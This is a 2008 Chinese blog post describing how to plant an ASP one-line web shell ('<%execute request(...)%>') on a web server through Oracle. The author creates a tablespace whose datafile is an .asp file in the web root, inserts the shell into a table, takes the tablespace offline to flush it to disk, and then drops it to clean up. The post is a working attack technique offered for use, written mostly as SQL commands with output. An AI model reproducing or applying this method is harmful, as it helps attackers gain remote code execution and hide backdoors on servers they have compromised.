Artificial Intelligence

Terminator:Skynet...010010001000010000010000100001000101010100101001010101001001010001001010000101001010101001010101010100101010100101001010100101001001010010100101100101010101011111010100101011101111

原创 ORACLE 建立数据文件WriteWebShell收藏

 

 

author: kj021320

转载请注明出处

 

       其实 类似ORACLE 这样强大的数据库,真没必要用到这么土的办法

SQLJ   存储过程写文件也可以,逼于无奈对方机器不支持SQLJ  还有  UTL_FILE包也被干掉了?

那 也可以 使用以下我说的这个方式

 

SQL> create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ;

表空间已创建。

 

这里记住了  100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥

但是最终建议一句话一定要最最简洁

 

SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;

表已创建。

 

一般用 VARCHAR类型已经可以 ,表空间太小了 ,所以不可以 为 CLOB或者 BLOB类型。

 

SQL> insert into WEBSHELL values('<%execute request("kj021320")%>');

已创建 1 行。

SQL> commit;

提交完成。

 

提交完成之后就 OK? NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间

 

SQL> alter tablespace kjtest offline;

表空间已更改。

 

到这里 你的 一句话SHELL代码已经 写到 那个文件了

你会发现有这样的 <%execute request("kj021320")%>Z   €Z    的 代码

一句话shell已经OK了

最后使用后记得吧 表空间删除

 

SQL> drop tablespace kjtest including contents;

表空间已删除。

 

 

当然这个方法缺点就是你要知道WEB路径

 

 

 

 

发表于 @ 2008年10月12日 10:39:00|评论(loading...)|收藏

新一篇: read the code read the soul | 旧一篇: MSSQL2005 鸡肋提权啊~~-_-

用户操作
[即时聊天] [发私信] [加为好友]
Terminator:Skynet
订阅我的博客
XML聚合  FeedSky
订阅到鲜果
订阅到Google
订阅到抓虾
Terminator:Skynet的公告
ID: kj021320
Name: Skynet(AI)
QQ: 282720807
mail:kj021320_126.com
mail:kj021320_gmail.com
http://blog.csdn.net/I_S_T_O/
艾尔斯帝欧
文章分类
收藏
    ISTO成员
    AMXSA's BLOG--PHP高手
    I.C.E'blog一位网络高手
    LIVING's BLOG
    MASK's BLOG--- ASP/Delphi
    SUMMER--搜索引擎开发者
    Security
    milw0rm
    red database security
    技术
    Ada Joint Program Office
    ADA Program Language
    ALL jar download
    BEA DOCUMENTS
    Caucho Technology
    codeproject
    CURL WEB Program language
    D language document
    Documentation at PDC
    Firebird Documentation
    Flex LiveDocs
    FreeBSD Document
    FreeMarker template engine
    hadoop分布式
    IBM informix文档中心
    IBM RedBooks Search
    InternetEngineeringTaskForce
    jakarta-apache.LOG4J
    jcaptcha
    LINUX Documentation
    MIT's OpenCourseWare
    MSDN WEBCAST
    MySQL Reference Manual
    nokia sdk document
    novell-documentation
    ORACLE documentation
    Perl Documentation
    PHP.net Document
    planet-source-code
    PostgreSql Document
    Python Documentation
    reflector
    SapDB documentation
    SourceForge
    SQLite cn
    Sybase Online Document
    teradata Resources
    Velocity Java template engine
    WebWork - Documentation
    Web标准组织
    看雪学院
    美国基因组研究所
    友情连接
    ADK成员-C#
    K' 同学的BLOG
    NetMiner's BLOG
    rainnyzhong--ORACLE
    一个忘不了的好友,我的领路人
    忍者's BLOG
    精灵
    黑客榜中榜
    存档
    软件项目交易
    Csdn Blog version 3.1a
    Copyright © Terminator:Skynet